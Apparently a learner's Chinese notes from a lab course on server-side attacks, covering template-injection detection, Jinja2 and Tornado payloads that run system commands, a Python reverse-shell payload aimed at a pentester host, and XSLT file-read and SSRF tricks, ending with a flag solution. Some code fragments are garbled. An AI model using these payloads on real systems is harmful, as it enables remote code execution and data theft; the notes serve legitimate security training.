mikannse7@htb[/htb]$ curl -X POST -d 'email={{_self.env.display("TEST"}}' http://<TARGET IP>:<PORT>/jointheteam |
mikannse7@htb[/htb]$ curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<TARGET IP>:<PORT>/jointheteam |
我们使用的有效负载(以及更多)可以在[PayloadsAllTheThings - Template Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#jinja2)和HackTricks- SSTI(服务器端模板注入)上找到
既然没有一种方法是无懈可击的,那就应该直截了当了。我们可以从上面提到的资源中编译一个模板引擎特定的有效负载列表,并模糊应用程序,直到我们得出正在使用的模板引擎的结论。
最终,当提交龙卷风特定的有效载荷时,我们会遇到下面的情况。
mikannse7@htb[/htb]$ curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://<TARGET IP>:<PORT>/jointheteam |
看来我们终于得到了!Tornado正在后端使用。
如前所述,tplmap
可用于自动化模板引擎识别和开发过程。
tplmap.py
mikannse7@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>/jointheteam' -d email=blah |
SSTI Exploitation Example 3
让我们看看SSTI系列的最后一个应用程序。再次强调,我们的重点是确定应用程序是否容易受到服务器端模板注入的攻击。
用户输入通过GET请求通过cmd
参数提交。让我们在输入字段中的花括号中提交数学表达式,例如在SSTI Identification
部分中提到的那些,从{7*7}
开始。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={7*7}" |
看起来应用程序没有评估提交的表达式。让我们继续另一个表达式,这次是${7*7}
。
mikannse7@htb[/htb]$ curl -gs 'http://<TARGET IP>:<PORT>/execute?cmd=${7*7}' |
看起来应用程序也没有计算这个表达式。{{7*7}}
怎么样?
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*7}}" |
幸运的是,这一次,应用程序评估了我们提交的最新数学表达式,并返回了结果49。看起来我们可能正在处理一个SSTI漏洞!
如前所述,在处理SSTI漏洞时,我们需要做的第一件事是识别应用程序正在使用的模板引擎。让我们再次在SSTI Identification
中使用PortSwigger的图表。我们已经知道{{7*7}}
表达式被成功地求值了。图中建议尝试的下一个表达式是{{7*'7'}}
。让我们尝试一下,看看应用程序如何响应。
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*'7'}}" |
应用程序也成功地计算了此表达式。根据PortSwigger的图表,我们正在处理Jinja 2或Twig模板引擎。也就是说,这意味着Jinja 2正在后端使用。
我们可以自动化我们刚刚通过tplmap
执行的模板引擎识别过程,如下所示。
tplmap.py
mikannse7@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>/execute?cmd' |
下一步是在目标服务器上获得远程代码执行。在进入有效负载开发部分之前,让我们来看看SSTI的一些Python。
Python Primer for SSTI
下面是一个来自fatalerrors.org的小字典,在浏览本节的Jinja 2有效负载开发部分时可以参考:
No. | Methods | Description |
---|---|---|
1. | __class__ |
返回类型所属的对象(类) |
2. | __mro__ |
返回一个元组,该元组包含由对象继承的基类。方法按元组的顺序进行解析。 |
3. | __subclasses__ __class__ |
每个新类都保留对子类的引用,此方法返回类中仍然可用的引用列表 |
4. | __builtins__ |
返回函数中包含的内置方法 |
5. | __globals__ |
对包含函数全局变量的字典的引用 |
6. | __base__ |
返回对象继承的基类<–(__ base__和__ mro__用于查找基类) |
7. | __init__ __class__ |
类初始化方法 |
首先在Pwnbox或本地VM的终端上运行Python,然后沿着做。
Python 3 Interpreter
mikannse7@htb[/htb]$ python3 |
创建一个字符串对象并使用type
和__class__
,如下所示。然后使用dir()
命令显示对象的所有方法和属性。
Code:
import flask |
下一步是理解Python的层次结构。使用__mro__
或mro()
,我们可以在Python环境中返回继承对象的树。让我们按如下方式练习。
Code: s._class
s.__class__.__class__ |
现在,让我们寻找一些可以促进远程代码执行的有用类。
Code:
1].__subclasses__() x = s.__class__.mro()[ |
你可能会问,为什么要搜索warning
。我们选择这个类是因为它导入了Python的sys模块,从sys
可以到达os
模块。更准确地说,os模块都来自warnings.catch_
。
请注意,您可能会遇到不同的号码。回到我们的Python for SSTI细节,我们已经看到catch_warnings
存在,而没有将任何额外的模块导入到我们的Python控制台。让我们枚举这个类的内置程序,如下所示。
Code:
215] y = x[ |
看起来我们已经通过遍历层次结构到达了导入功能。这意味着我们可以加载os
并使用system
函数来执行所有来自字符串对象的代码,如下所示。
Code:
''.__class__.__mro__[1].__subclasses__() |
回到我们易受攻击的Web应用程序,让我们看看如何重复相同的过程并开发RCE有效负载。请记住,下面的有效载荷可以通过浏览器提交给应用程序,也可以通过URL编码后的cURL提交给应用程序。
Payload:
Code:
{{ ''.__class__ }} |
Curl - Interacting with the Target
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__%20%7D%7D" |
Payload
Code:
{{ ''.__class__.__mro__ }} |
Curl - Interacting with the Target
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%20%7D%7D" |
我们对第二个项目感兴趣,因此有效载荷应变为:
Code:
{{ ''.__class__.__mro__[1] }} |
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%20%7D%7D" |
让我们开始沿着层次结构往下走,如下所示。
Code:
{{ ''.__class__.__mro__[1].__subclasses__() }} |
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%20%7D%7D" |
让我们使用下面的有效负载打印出数字和方法名称。
Code:
{% for i in range(450) %} |
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%25%20for%20i%20in%20range%28450%29%20%25%7D%20%7B%7B%20i%20%7D%7D%20%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5Bi%5D.__name__%20%7D%7D%20%7B%25%20endfor%20%25%7D" |
正如您在应用程序的响应中所看到的,catch_warnings
位于索引#214。
我们拥有构建RCE有效负载所需的一切,如下所示。
Code:
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').system("touch /tmp/test1") }} |
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B214%5D%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.system%28%22touch%20%2Ftmp%2Ftest1%22%29%20%7D%7D" |
应用程序在响应中返回0
。这是我们刚刚执行的命令的返回值。0
表示命令执行无误。
我们可以确定test1
是否是使用以下有效负载创建的。
Code:
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('ls /tmp').read()}} |
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B214%5D%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.popen%28%27ls%20%2Ftmp%27%29.read%28%29%7D%7D" |
现在我们已经完成了有效负载的开发过程,值得一提的是,我们可以使用一些特定的功能来促进对Jinja2 SSTI漏洞的利用。这是request
和lipsum
。请随意将它们提交给本节的目标。
Code:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} |
Code:
{{lipsum.__globals__.os.popen('id').read()}} |
反向外壳也可以通过如下有效载荷建立。
Code:
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('python -c \'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<PENTESTER_IP>",<PENTESTER_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read()}} |
Attacking XSLT
可扩展样式表语言转换(XSLT
)是一种基于XML的语言,通常用于将XML文档转换为HTML、另一个XML文档或PDF。可扩展样式表语言转换服务器端注入可能发生在可以上载任意XSL文件或应用程序使用来自用户的未经验证的输入动态生成XSL转换的XML文档时。
根据具体情况,NetBeans使用内置函数和XPATH语言在浏览器或服务器中转换文档。可扩展样式表语言转换在一些Web应用程序中作为独立功能,SSI引擎和Oracle等数据库存在。在撰写本文时,有3个(1,2,3)版本。从攻击者的角度来看,版本1是最不感兴趣的,因为它的内置功能有限。使用最多的XSLT相关项目是Liberty、Xalan和Saxon。为了利用恶意注入,我们需要在服务器端存储恶意标签并访问该内容。
让我们通过结合使用Saxon和JavaScript Version 2来试验JavaScript。
首先,在Pwnbox或本地VM上安装所需的软件包,如下所示:
Installation of required packages
mikannse7@htb[/htb]$ sudo apt install default-jdk libsaxon-java libsaxonb-java |
接下来,创建以下文件:
catalogue.xml
Code:
|
transformation.xsl
Code:
|
我们需要理解XML格式以了解转换是如何工作的。
- 第一行通常是XML版本和编码
- 接下来,它将拥有XSL根节点
xsl:stylesheet
- 然后,我们将在
xsl:template match="<PATH>"
中获得指令。在这种情况下,它将适用于任何XML节点。 - 之后,将为XML结构中与前一行匹配的任何项定义转换。
- 要从XML文档中选择某些项目,XPATH语言以
<xsl:value-of select="<NODE>/<SUBNODE>/<VALUE>"/>
的形式使用。
要查看结果,我们将使用命令行解析器。这可以通过以下方式实现:
Transformation through the terminal
mikannse7@htb[/htb]$ saxonb-xslt -xsl:transformation.xsl catalogue.xml |
下面的文件可用于检测底层预处理器。
detection.xsl
Code:
|
现在让我们运行前面的命令,但这一次使用detection.xsl文件。
Transformation through the terminal
mikannse7@htb[/htb]$ saxonb-xslt -xsl:detection.xsl catalogue.xml |
基于预处理器,我们可以查看此版本的JavaScript文档,以确定感兴趣的函数,例如以下函数。
unparsed-text
可以用来读取本地文件。
readfile.xsl
Code:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> |
通过终端进行转换
mikannse7@htb[/htb]$ saxonb-xslt -xsl:readfile.xsl catalogue.xml |
xsl:include
可用于执行SSRF
如果我们能够控制转化,我们也可以发动SSRF攻击。
ssrf.xsl
Code: 验证码: xmlXML
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> |
通过终端进行转换
mikannse7@htb[/htb]$ saxonb-xslt -xsl:ssrf.xsl catalogue.xml |
mikannse7@htb[/htb]$ saxonb-xslt -xsl:ssrf.xsl catalogue.xml |
检查上面当我们打开或关闭端口时的不同响应。如果你想在Pwnbox或本地机器上尝试这个,尝试执行上面的saxonb-xslt
命令一次,在端口5000上没有监听,一次在端口5000上有一个HTTP服务器监听(在单独的选项卡或终端中的sudo python3 -m http.server 5000
)。
我们在本节的开头介绍了一些技术堆栈标识XSL文件。下面是一个,比以前的大。试着用它来重现上面的例子。
fingerprinting.xsl
Code:
|
通过终端进行转换
mikannse7@htb[/htb]$ saxonb-xslt -xsl:fingerprinting.xsl catalogue.xml |
我们也可以使用下面的wordlist来实现目标应用程序中的暴力破解功能。
Server-Side Attacks - Skills Assessment
查看jquery.js文件,
function dec(str) { |
把xyzbase64解码之后,再反向,得到:
/G3tTh4tF1l34M3?l33t=http://127.0.0.1:8080/message.txtwindow.location.hosthttp://
直接访问/G3tTh4tF1l34M3?l33t=http://127.0.0.1:8080/flag.txt
一开始以为考点肯定是SSTI,结果竟然一个SSRF秒了,阿哲